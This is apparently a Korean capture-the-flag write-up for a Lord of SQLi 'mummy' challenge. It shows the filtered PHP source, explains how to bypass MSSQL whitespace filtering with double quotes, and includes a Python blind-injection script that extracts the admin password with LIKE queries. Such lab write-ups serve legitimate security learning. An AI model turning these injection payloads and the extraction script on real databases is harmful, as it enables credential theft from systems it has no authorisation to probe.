MSSQL에서 공백이 필터링 되었을 때, 해결법에 대해 묻는 문제이다.

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("mummy");
  if(preg_match('/master|sys|information|;|\\(|\\//i', $_GET['query'])) exit("No Hack ~_~");
  for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
  $query = "select".$_GET['query'];
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result[0]) echo "<h2>Hello anonymous</h2>";

  $query = "select pw from prob_mummy where id='admin'";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("mummy");
  highlight_file(__FILE__);
?>

해결법은 "를 통한 공백 우회와 명령어 등을 적당히 섞어주어 공백이 필요없는 쿼리를 만들면 된다.

대표적으로 아래와 같이 사용할 수 있는데, MySQL과는 달리 "를 조금 자유롭게 사용할 수 있었다.

select"pw"from"prob_yeti"

패스워드를 알아낼 때에는 like 구문을 사용한다.

select"pw"from"prob_yeti"where"pw"like'%'

사용한 코드는 아래와 같다.

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Disable flag warning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

headers = { 'Cookie': 'PHPSESSID=##'}

base_url = "<https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php?query=>"

password = ''
while True:
    for i in range(0x30, 0x80):
        query = f'"pw"from"prob_mummy"where"pw"like\\'{password + chr(i)}%\\''
        url = base_url + query
        
        res = requests.get(url=url, headers = headers, verify=False)
        if res.text.find("<br><h2>Hello anonymous") != -1: # true
            password += chr(i)
            print(password)
            break

이제 거의 다왔다! 클리어